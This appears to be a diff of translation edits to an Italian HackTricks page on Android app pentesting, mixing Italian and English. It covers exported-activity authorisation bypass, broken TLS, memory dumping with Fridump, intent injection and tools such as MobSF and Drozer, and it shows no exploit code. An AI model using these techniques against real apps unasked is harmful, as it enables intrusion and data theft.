* **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. La configurazione dei FileProviders dovrebbe essere scrutinata.
|
* **Content Providers e FileProviders**: Content provider esposti potrebbero consentire accesso non autorizzato o modifica dei dati. La configurazione dei FileProviders dovrebbe essere scrutinata.
|
||||||
* **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input.
|
* **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati, prestando particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input.
|
||||||
* **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
|
* **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
|
||||||
|
|
||||||
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
|
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
|
||||||
|
|
||||||
### Tapjacking
|
### Tapjacking
|
||||||
|
|
||||||
|
@ -144,14 +144,14 @@ Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero esser
|
||||||
* Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna.
|
* Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna.
|
||||||
* La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
|
* La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
|
||||||
3. **Gestione dei Dati dalla Memoria Esterna**:
|
3. **Gestione dei Dati dalla Memoria Esterna**:
|
||||||
* Esegui sempre **validazione dell'input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non affidabile.
|
* Esegui sempre **validazione dell'input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
|
||||||
* Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato.
|
* Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato.
|
||||||
* Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
|
* Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
|
||||||
|
|
||||||
La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione dannosa di ottenere accesso in lettura o scrittura ai file di un'altra app.
|
A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione malevola di ottenere accesso in lettura o scrittura ai file di un'altra app.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Dati sensibili memorizzati in chiaro**
|
**Dati sensibili memorizzati in chiaro**
|
||||||
|
@ -161,7 +161,7 @@ A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di director
|
||||||
|
|
||||||
### TLS Rotto
|
### TLS Rotto
|
||||||
|
|
||||||
**Accetta tutti i certificati**
|
**Accetta Tutti i Certificati**
|
||||||
|
|
||||||
Per qualche motivo, a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, il nome host non corrisponde a righe di codice come la seguente:
|
Per qualche motivo, a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, il nome host non corrisponde a righe di codice come la seguente:
|
||||||
```java
|
```java
|
||||||
|
@ -174,7 +174,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||||
|
|
||||||
**Poor Key Management Processes**
|
**Poor Key Management Processes**
|
||||||
|
|
||||||
Alcuni sviluppatori salvano dati sensibili nello storage locale e li criptano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché alcune operazioni di reverse engineering potrebbero consentire agli attaccanti di estrarre le informazioni riservate.
|
Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché alcune operazioni di reverse engineering potrebbero consentire agli attaccanti di estrarre le informazioni riservate.
|
||||||
|
|
||||||
**Use of Insecure and/or Deprecated Algorithms**
|
**Use of Insecure and/or Deprecated Algorithms**
|
||||||
|
|
||||||
|
@ -216,7 +216,7 @@ With this knowledge, **mariana-trench will review the code and find possible vul
|
||||||
|
|
||||||
### Secrets leaked
|
### Secrets leaked
|
||||||
|
|
||||||
Un'applicazione può contenere segreti (chiavi API, password, URL nascosti, sottodomini...) al suo interno che potresti essere in grado di scoprire. Potresti usare uno strumento come [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||||
|
|
||||||
### Bypass Biometric Authentication
|
### Bypass Biometric Authentication
|
||||||
|
|
||||||
|
@ -239,7 +239,7 @@ Un'applicazione può contenere segreti (chiavi API, password, URL nascosti, sott
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -274,15 +274,15 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu
|
||||||
|
|
||||||
#### Using an emulator
|
#### Using an emulator
|
||||||
|
|
||||||
* [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultimi x86** versioni **supportano le librerie ARM** senza bisogno di un emulatore arm lento).
|
* [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
|
||||||
* Learn to set it up in this page:
|
* Learn to set it up in this page:
|
||||||
|
|
||||||
{% content-ref url="avd-android-virtual-device.md" %}
|
{% content-ref url="avd-android-virtual-device.md" %}
|
||||||
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, è necessario creare un account. _È consigliato **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._)
|
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||||
* [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
|
* [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||||
|
@ -298,11 +298,11 @@ Also, notice that in the **configuration of the Android VM in Genymotion** you c
|
||||||
|
|
||||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
||||||
|
|
||||||
1. **Impostazioni**.
|
1. **Settings**.
|
||||||
2. (Da Android 8.0) Seleziona **Sistema**.
|
2. (FromAndroid 8.0) Select **System**.
|
||||||
3. Seleziona **Informazioni sul telefono**.
|
3. Select **About phone**.
|
||||||
4. Premi **Numero di build** 7 volte.
|
4. Press **Build number** 7 times.
|
||||||
5. Torna indietro e troverai le **Opzioni sviluppatore**.
|
5. Go back and you will find the **Developer options**.
|
||||||
|
|
||||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
||||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
||||||
|
@ -314,8 +314,8 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||||
Gli sviluppatori dovrebbero prestare attenzione a non esporre **informazioni di debug** pubblicamente, poiché ciò può portare a perdite di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono raccomandati per monitorare i log dell'applicazione per identificare e proteggere le informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità.
|
Gli sviluppatori dovrebbero prestare attenzione a non esporre **informazioni di debug** pubblicamente, poiché ciò può portare a perdite di dati sensibili. Gli strumenti [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` sono raccomandati per monitorare i log dell'applicazione per identificare e proteggere le informazioni sensibili. **Pidcat** è preferito per la sua facilità d'uso e leggibilità.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
|
Note che da **versioni più recenti di Android 4.0**, **le applicazioni possono accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\
|
||||||
Anyway, it's still recommended to **not log sensitive information**.
|
Comunque, è ancora consigliato **non registrare informazioni sensibili**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Copy/Paste Buffer Caching**
|
**Copy/Paste Buffer Caching**
|
||||||
|
@ -324,20 +324,20 @@ Il framework **basato su clipboard** di Android consente la funzionalità di cop
|
||||||
|
|
||||||
**Crash Logs**
|
**Crash Logs**
|
||||||
|
|
||||||
Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evitare di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurarsi che vengano inviati tramite un canale SSL per la sicurezza.
|
Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evitare di registrare in caso di crash, e se i log devono essere trasmessi attraverso la rete, assicurarsi che siano inviati tramite un canale SSL per la sicurezza.
|
||||||
|
|
||||||
As pentester, **try to take a look to these logs**.
|
Come pentester, **cerca di dare un'occhiata a questi log**.
|
||||||
|
|
||||||
**Analytics Data Sent To 3rd Parties**
|
**Analytics Data Sent To 3rd Parties**
|
||||||
|
|
||||||
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **leak sensitive data** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti.
|
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **leakare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti.
|
||||||
|
|
||||||
### SQLite DBs
|
### SQLite DBs
|
||||||
|
|
||||||
La maggior parte delle applicazioni utilizzerà **database SQLite interni** per salvare informazioni. Durante il pentest, dai un'occhiata ai **database** creati, ai nomi delle **tabelle** e delle **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che costituirebbero una vulnerabilità).\
|
La maggior parte delle applicazioni utilizzerà **database SQLite interni** per salvare informazioni. Durante il pentest, dai un'occhiata ai **database** creati, ai nomi delle **tabelle** e delle **colonne** e a tutti i **dati** salvati perché potresti trovare **informazioni sensibili** (che costituirebbero una vulnerabilità).\
|
||||||
I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases`
|
I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `/data/data/com.mwr.example.sieve/databases`
|
||||||
|
|
||||||
Se il database sta salvando informazioni riservate ed è **criptato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
|
Se il database sta salvando informazioni riservate ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
|
||||||
|
|
||||||
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`
|
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`
|
||||||
|
|
||||||
|
@ -348,14 +348,14 @@ Drozer è uno strumento utile per **sfruttare attività esportate, servizi espor
|
||||||
|
|
||||||
### Exploiting exported Activities
|
### Exploiting exported Activities
|
||||||
|
|
||||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
[**Leggi questo se vuoi rinfrescare cosa è un'Activity Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||||
Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
|
Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
|
||||||
|
|
||||||
**Authorisation bypass**
|
**Authorisation bypass**
|
||||||
|
|
||||||
Quando un'Attività è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
|
Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
|
||||||
|
|
||||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
|
[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/#activities)
|
||||||
|
|
||||||
Puoi anche avviare un'attività esportata da adb:
|
Puoi anche avviare un'attività esportata da adb:
|
||||||
|
|
||||||
|
@ -446,7 +446,7 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s
|
||||||
|
|
||||||
* **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
|
* **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
|
||||||
* **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite di cifratura insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittografare i dati.
|
* **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite di cifratura insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittografare i dati.
|
||||||
* **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità malevole.
|
* **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli dell'utente, dall'intercettazione da parte di entità malevole.
|
||||||
|
|
||||||
#### Verifica del certificato
|
#### Verifica del certificato
|
||||||
|
|
||||||
|
@ -490,7 +490,7 @@ Se vuoi fare pentesting su applicazioni Android, devi sapere come usare Frida.
|
||||||
|
|
||||||
### **Dump della memoria - Fridump**
|
### **Dump della memoria - Fridump**
|
||||||
|
|
||||||
Controlla se l'applicazione sta memorizzando informazioni sensibili all'interno della memoria che non dovrebbe memorizzare, come password o mnemoniche.
|
Controlla se l'applicazione sta memorizzando informazioni sensibili all'interno della memoria che non dovrebbe memorizzare, come password o mnemonici.
|
||||||
|
|
||||||
Utilizzando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi dumpare la memoria dell'app con:
|
Utilizzando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi dumpare la memoria dell'app con:
|
||||||
```bash
|
```bash
|
||||||
|
@ -554,7 +554,7 @@ Il pericolo risiede nel consentire agli attaccanti di attivare componenti dell'a
|
||||||
### Essential Takeaways
|
### Essential Takeaways
|
||||||
|
|
||||||
* **Intent Injection** è simile al problema di Open Redirect del web.
|
* **Intent Injection** è simile al problema di Open Redirect del web.
|
||||||
* Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere deviati per eseguire operazioni non sicure.
|
* Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere reindirizzati per eseguire operazioni non sicure.
|
||||||
* Può esporre componenti non esportati e provider di contenuti agli attaccanti.
|
* Può esporre componenti non esportati e provider di contenuti agli attaccanti.
|
||||||
* La conversione di URL in `Intent` di `WebView` può facilitare azioni indesiderate.
|
* La conversione di URL in `Intent` di `WebView` può facilitare azioni indesiderate.
|
||||||
|
|
||||||
|
@ -570,12 +570,12 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Hacking Insights**\
|
**Hacking Insights**\
|
||||||
Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking.
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking.
|
||||||
|
|
||||||
**Real-Time Hack News**\
|
**Real-Time Hack News**\
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale.
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale.
|
||||||
|
@ -593,7 +593,7 @@ Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (866).png>)
|
![](<../../.gitbook/assets/image (866).png>)
|
||||||
|
|
||||||
**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
|
**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamiche (ma devi preparare l'ambiente).
|
||||||
```bash
|
```bash
|
||||||
docker pull opensecurity/mobile-security-framework-mobsf
|
docker pull opensecurity/mobile-security-framework-mobsf
|
||||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||||
|
@ -631,7 +631,7 @@ Inoltre, hai alcune funzionalità ausiliarie di Frida:
|
||||||
* **Catturare Confronti di Stringhe**: Potrebbe essere molto utile. **Mostrerà le 2 stringhe confrontate** e se il risultato è stato Vero o Falso.
|
* **Catturare Confronti di Stringhe**: Potrebbe essere molto utile. **Mostrerà le 2 stringhe confrontate** e se il risultato è stato Vero o Falso.
|
||||||
* **Enumerare Metodi di Classe**: Inserisci il nome della classe (come "java.io.File") e stamperà tutti i metodi della classe.
|
* **Enumerare Metodi di Classe**: Inserisci il nome della classe (come "java.io.File") e stamperà tutti i metodi della classe.
|
||||||
* **Cerca Modello di Classe**: Cerca classi per modello
|
* **Cerca Modello di Classe**: Cerca classi per modello
|
||||||
* **Tracciare Metodi di Classe**: **Traccia** un'**intera classe** (vedi input e output di tutti i metodi della classe). Ricorda che per impostazione predefinita MobSF traccia diversi metodi API Android interessanti.
|
* **Traccia Metodi di Classe**: **Traccia** un'**intera classe** (vedi input e output di tutti i metodi della classe). Ricorda che per impostazione predefinita MobSF traccia diversi metodi API Android interessanti.
|
||||||
|
|
||||||
Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere "**Start Instrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
|
Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere "**Start Instrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
|
||||||
|
|
||||||
|
@ -684,8 +684,8 @@ qark --java path/to/specific/java/file.java
|
||||||
|
|
||||||
* Mostra tutti i file estratti per un facile riferimento
|
* Mostra tutti i file estratti per un facile riferimento
|
||||||
* Decompila automaticamente i file APK in formato Java e Smali
|
* Decompila automaticamente i file APK in formato Java e Smali
|
||||||
* Analizza AndroidManifest.xml per vulnerabilità comuni e comportamenti
|
* Analizza AndroidManifest.xml per vulnerabilità e comportamenti comuni
|
||||||
* Analisi statica del codice sorgente per vulnerabilità comuni e comportamenti
|
* Analisi statica del codice sorgente per vulnerabilità e comportamenti comuni
|
||||||
* Informazioni sul dispositivo
|
* Informazioni sul dispositivo
|
||||||
* e altro ancora
|
* e altro ancora
|
||||||
```bash
|
```bash
|
||||||
|
@ -705,11 +705,11 @@ super-analyzer {apk_file}
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (297).png>)
|
![](<../../.gitbook/assets/image (297).png>)
|
||||||
|
|
||||||
StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, cacciatori di bug e hacker etici a eseguire [analisi statica del codice](https://en.wikipedia.org/wiki/Static\_program\_analysis) su applicazioni mobili.
|
StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, cacciatori di bug e hacker etici a eseguire [static code analysis](https://en.wikipedia.org/wiki/Static\_program\_analysis) su applicazioni mobili.
|
||||||
|
|
||||||
Il concetto è che puoi trascinare e rilasciare il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un report visivo e portatile per te. Puoi modificare le impostazioni e le liste di parole per ottenere un'esperienza personalizzata.
|
Il concetto è che puoi trascinare e rilasciare il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un report visivo e portatile per te. Puoi modificare le impostazioni e le liste di parole per ottenere un'esperienza personalizzata.
|
||||||
|
|
||||||
Scarica[ l'ultima versione](https://github.com/vincentcox/StaCoAn/releases):
|
Scarica[ ultima versione](https://github.com/vincentcox/StaCoAn/releases):
|
||||||
```
|
```
|
||||||
./stacoan
|
./stacoan
|
||||||
```
|
```
|
||||||
|
@ -767,9 +767,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
|
||||||
(Da quella guida) L'ultima volta che abbiamo controllato, il modo di operare di Dexguard era:
|
(Da quella guida) L'ultima volta che abbiamo controllato, il modo di operare di Dexguard era:
|
||||||
|
|
||||||
* caricare una risorsa come InputStream;
|
* caricare una risorsa come InputStream;
|
||||||
* fornire il risultato a una classe che eredita da FilterInputStream per decrittografarlo;
|
* fornire il risultato a una classe che eredita da FilterInputStream per decrittarlo;
|
||||||
* fare un po' di offuscazione inutile per far perdere qualche minuto di tempo a un reverser;
|
* fare un po' di offuscazione inutile per far perdere qualche minuto a un reverser;
|
||||||
* fornire il risultato decrittografato a un ZipInputStream per ottenere un file DEX;
|
* fornire il risultato decrittato a un ZipInputStream per ottenere un file DEX;
|
||||||
* infine caricare il DEX risultante come Risorsa utilizzando il metodo `loadDex`.
|
* infine caricare il DEX risultante come Risorsa utilizzando il metodo `loadDex`.
|
||||||
|
|
||||||
### [DeGuard](http://apk-deguard.com)
|
### [DeGuard](http://apk-deguard.com)
|
||||||
|
@ -788,7 +788,7 @@ APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica mo
|
||||||
|
|
||||||
### Manuale
|
### Manuale
|
||||||
|
|
||||||
[Leggi questo tutorial per imparare alcuni trucchi su **come invertire l'offuscazione personalizzata**](manual-deobfuscation.md)
|
[Leggi questo tutorial per imparare alcuni trucchi su **come fare reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md)
|
||||||
|
|
||||||
## Laboratori
|
## Laboratori
|
||||||
|
|
||||||
|
@ -810,7 +810,7 @@ AndroL4b è una macchina virtuale di sicurezza Android basata su ubuntu-mate che
|
||||||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug!
|
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug!
|
||||||
|
|
||||||
|
@ -821,7 +821,7 @@ Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sugli ultimi bug bounty lanciati e aggiornamenti cruciali della piattaforma
|
Rimani informato con i nuovi bug bounty in partenza e aggiornamenti cruciali della piattaforma
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||||
|
|
||||||
|
@ -835,7 +835,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositori di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -34,7 +34,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
||||||
|
|
||||||
